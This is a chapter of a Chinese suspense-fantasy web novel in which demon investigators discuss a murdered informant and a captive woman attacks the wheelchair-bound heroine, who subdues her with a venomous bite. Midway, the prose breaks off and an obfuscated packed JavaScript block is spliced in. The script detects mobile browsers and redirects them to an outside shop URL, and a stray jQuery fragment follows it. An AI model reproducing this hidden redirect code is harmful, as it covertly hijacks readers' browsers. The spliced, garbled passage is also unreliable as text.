24. 牙
作品:《蜕骨寻凶【悬疑】》 汪丹翎似有所感,转头看去,却看见了“叶子”正缠着青的手机,一副格外依赖她的模样,而长藤蔓顺着裤腿爬到他的口袋里,虽然正兢兢业业地替他翻找着东西,那对“叶子”的无奈和嫉妒也穿搭给了汪丹翎
说起来,一园子的植物,为什么就它们两个有了意识?还有都有对青莫名其妙的亲近感,难道它们的变化,和青有关系?
“被限制了灵力,还要展示你能控制植株的能力。”汪丹翎回过神,发现对面的城守正一脸阴云密布地瞪着他:“你在挑衅我?暗示我枷锁限制不了你的行动?”
他家里人死之前没一个教过他该怎么谈判吗?
“非也,只是现在诸多不便,所以只能先假托他人之手。”感受着手腕处传来的撕裂般的疼痛,汪丹翎深吸一口气才重新开口,此时,长藤蔓也从他的口袋里带出他想要的东西——一张花花绿绿的广告纸。
“同皓先生知道''晨报''吗?”
“''百晓生''的''讣告'',现在改名叫这个了?确实听着吉利了一点。”同皓明白他在说什么:“你想说,你手上的广告纸就是''晨报''?”
“是的,当年作为她帮助我伪造新身份的报答,我送了她一些材料和法器,附加订阅了100年份''晨报'',我每周五前会固定把一辆车停到洋城中心商场的某个位置,周六再去拿车的时候,''晨报''就会混在那些传单里。”汪丹翎说着动了动手指,长藤蔓就顺从地把那张写了中老年独身公寓招租的广告递到了同皓的手里。
“这张是前天新收到的,而上周六,我同样也收到了''晨报''。”
好不容易让“叶子”暂时安静下来的青皎一回神就听见了这个,她努力理解起话语里的信息:那个叫‘百晓生’的妖精大概也在洋城里呆了很久,而“晨报”是它相当有名的业务,而且由来已久,还出现过姓名更迭…
不对,不对不对!“百晓生”不是死了吗?尸体还被汪丹翎带走了,那现在收到的“晨报”是怎么回事?谁在假装“百晓生”?
“这是真的吗?”她想写下询问,但人的嘴总是比手写要快一步,同皓指向长藤蔓卷着的广告纸:“有没有可能是假货的?”
“''晨报''和订阅者的血液绑定,我能确定这是真的,而且从信息的准确度和说话用词来看,和本人如出一辙。”汪丹翎手指动了动,长藤蔓就把东西交到了同皓的手里:“在发现青小姐后,我在八月十一日去找过''百晓生'',想问问她对青小姐的事情是否有了解,但那个时候,''百晓生''已经死了,她是被人谋杀的,为了以防万一,带走了她的尸体,让瑶芯帮忙做了尸检”
“我需要具体一点的时间和伤情报告。”
“呃,好。”被同皓转头瞪了的瑶芯心差点从喉咙里跳出来,好在她在心里打好了腹稿:“百晓生’七月十一号就已经彻底死亡,隔了一个多月,现场的灵力早就散干净了,加上死因灼烧致死,没有办法从尸体表面采取到指纹毛发一类的信息,但..她手和脚的骨都头不见了,断面很平整,推测是被利器一刀砍下,她的腹部被剥开,推测凶手是为了取走她的妖丹,但她的腹腔内部的状况来看,取妖丹这件事发生在火灾后。”
“所以,凶手在确认''百晓生''没有逃跑能力后,留在现场看着它被活活烧死,然后才取走妖丹,而且,那是一个火行,使用利器的妖精...”托着自己的下巴同皓说着说着,就发现奇怪的地方。
这两个条件怎么这么...
这边,汇报完的瑶芯还没来得及松口气,就被身旁的伸过来的东西拽地身子一歪,她定睛一看,正是那阴魂不散的“蟑螂”。
怎么哪都有你!
功成身退的“叶子”回青皎的手边,而青皎写着字的素描本堵住了瑶芯在嘴边想要骂人的话,她瞬间变得一脸菜色,看了那边明显意识到了什么后一脸阴沉的城守,又看了眼表情照旧波澜不惊的汪丹翎,最后,瑶芯看着素描本上歪歪扭扭但书写的格外用力的字,闭上眼睛认命般地开口道:
“那个城守!青小姐...她,她有话要问你。”
“...请讲。”
“她,她问你,在''百晓生''这件事上,你有不在场证明吗?”
听闻此,一旁闭目养神许久不说话的珠曳都睁开了眼睛,她神色微讶,随后很快重新眯起眼睛,保持静默地就样观察用眼珠挨个扫过每个人的脸。
“不是我。”出乎意料的,同皓没有暴怒,反而格外耐心地对青皎解释道:“我从七月十号的凌晨开始就不在城内了。”
【有人能够证明吗?】有人会看她写的字了,青皎就没有再麻烦瑶芯,写完字后直接由叶子将素描本翻了过来朝向同皓。
“有,将近一个月的时间我都跟同一个人呆在一起,我不可能抛下她单独回到洋城,那个人是谁和具体为什么不能单独回到洋城的理由,...汪丹翎应该清楚。”
“嗯。无视了同皓格外用力地剜来的一眼,汪丹翎,继续道:“而且,如果你,''百晓生'',代理城守塯琅三起事件背后的凶手是同一人的话,就不可能是同皓先生做的,首先,他不认识你,其次,他和同皓先生之间没有仇怨,同皓先生没有杀他的理由。”
“这可说不好。”不和谐的调笑声宛如在演奏中崩断的乐弦般刺耳,在吸引了所有人的目光后,众人惊讶发现,原先的那张椅子上珠曳的身影不知道何时不见了。
她去哪了?
青皎正四处张望的时候,突然,从身后伸出的手掌贴住了她的下巴,随后是手臂贴在脑袋两侧形成的人肉枷锁,将青皎的视线牢牢固定在了正前方。
而那对手腕上突然光芒大盛的光圈刺痛得她的眼睛完全睁不开。
“脖子还没长好的人,就不要老是东张西望来,多危险啊。”
她在我后面?什么时候移动的?!她想做什么?
“写字是不是很累?我来帮你吧。”长卷发蹭过她的侧脸,那股熟悉呛人香气又出现了。
枷锁不是会限制灵力的使用吗?为什么珠曳完全不受影响?她为什么还能只用灵力?枷锁的惩罚难道对她不起效果吗?
“说呀,想不想我帮你?”背后,珠曳还追问着,同时,她的头靠在了青皎的头顶,如果忽略她只要再用点力就能把青皎的脖子像饼干一样掰碎,光听语调,珠曳就只像是在抱着对方的脑袋撒娇而已。
可惜青皎完全没办法忽略这件事,她整个人动弹不得地僵在那里,背后这个人虽然一直在向她提问,但也掐住了她的嘴角,手肘还压在她的肩膀上,她连自己的手臂也抬不起。
青皎后知后觉地意识到,对方根本就不想让自己说话。
而且,这什么声音?为什么贴着自己耳朵的胳膊里,会传来...这种就像,皮肉被撕开的声音?
[呵。]
她还没有想明白,从心里突然传出来一道熟悉的声音。
[谁叫你不听我的话,长点记性吧。]
“松开她,珠曳!”阳台上,被推倒的椅子互相碰撞着发出一阵叮咣作响的动静,汪丹翎和同皓分别站立两侧,一个堵住阳台边,一个堵在了屋内的进出口前,瑶芯则退到了边角,她正死命按着自己的嘴巴,生怕下一秒自己就会尖叫出声。
就见珠曳手腕上的光圈像要爆炸前的白炽灯一样极速闪烁着,而且以手腕为开端,她的整条手臂皮肤都出现了龟裂之状,但诡异的是,哪怕此刻她的双臂如同干涸的土块般即将皲裂崩散,也没有一点儿鲜血从裂开的□□缝隙里流出。
这就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695670|188931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“晦枷”,金乌的家传法器,她目光近乎惊恐地看着自己手腕上的单个光圈,按在脸上的手指险些刺破皮肤,她莫名想到在带上这东西的前汪丹翎说过的话。
【它可以说是全天下最不讲道理的法器。】说这句话的时候,他还晃了下自己手腕上的那对发光手铐,配合着他嘴里的话简直就是恐怖片!
【只要神鸟金乌的血脉怀疑你会对他不利,''晦枷''就会吸光被使用者的血肉,血肉之后是魂魄,直到对方的存在从这个世界上彻底消失。】
神经病!疯子!这件事情解决她就要辞职!这辈子不会再踏进洋城一步!和这帮大妖全部说再见!再也不见!
而两位让她痛恨的大妖正在前方堵着所有能让珠曳逃跑的通路,同皓身上的金纹再次浮现流转的同时,先前刻在他们所有人身上的金色标记也开始发烫。
“不想死就快点收手,珠曳!”
“怎么?昨天晚上不是很嚣张吗?还说了来着,对,要把我做成第四具尸体,哈哈——”受损的身体似乎完全没有对珠曳造成影响,珠曳一个眼神也没有施舍给他们,只全心全意地看着自己怀了的青皎,或是她那对如同改了花刀的食用肉一样的开裂的手臂。
“你说,我的老大发现死在''晦枷''手里,会不会把洋城的妖精杀干净呢?哈哈哈——”
虽然早就有所听闻,但度朔山出来的,果然不是一般的疯子。
汪丹翎的眉宇下压,他始终在观察着场面上的一切,好在,青小姐并没有慌张的挣扎,珠曳也没有进一步的动作,现在是一个绝好的偷袭时机。
要使用“那个”吗?要在见到褚煜之前,就暴露那张底牌吗?
但,如果青真的在这里死了,他——
就在这所有人因为这种理由僵持着的时候,青皎动了。
她张开了嘴,用她所剩无几的牙齿咬上了珠曳的手指,因为只剩下了几颗牙齿,所以一时间,背后的珠曳甚至没有察觉。
很快,珠曳就发现自己动不了,限制她行动的力量不是来自“晦枷”,也不是同皓的标记,而是从她手指处传来,最开始那一点根本察觉不到的微弱麻痒,却在转瞬之间,传遍了全身。
毒?
失去了全身力气的珠曳在倒下前,第一次真正的和那个坐在轮椅上的女孩对上了视线,神奇的是,她明明没有用读心,女孩也发不出声音,她却在此刻清楚读出来对方眼神里的痛苦和惋惜。
[你不痛吗?]
只用耳朵就能将她的身上裂开的伤口全部知晓?还有这毒,呵,还是小看你了。
“青!”在珠曳倒下的同时,同皓拽住了她的衣领,汪丹翎则抓着青皎的轮椅快速向后撤退:“你没事吧?”
看见对方轻轻摇摇头,又看见珠曳如同昏迷一般毫不反抗地被同皓提在手里,汪丹翎还是没忍住发问道:“珠曳昏过去了,你做了什么?”
【我好像,是条毒蛇。】用铅笔在素描本上写完,青皎还张开嘴,指了指自己几乎只能看见牙床的血红口腔。
“...你是怎么想到的?”
【因为我一直在想,他们,也就是凶手为什么要拔掉我的牙齿,是这个枷锁给了我灵感,一般一个人会限制另一个人的行为,多半是因为害怕,和无法控制对方对吧?】
【我的牙一定是有什么用处才会被拔掉的,说到蛇的牙,不就是毒了吗?于是我就是试了一下,没想到真的成功了,太好了。】
汪丹翎的眼睛不由自主地瞪大,他看着青皎继续书写着的同时,在脸上逐渐浮现的笑容,突然意识到,今天是八月二十号,离青浑身是伤出现在这里,离他们第一次相遇,才过去了十天。
她已经重新振作起来了。
“嗯,太好了。”

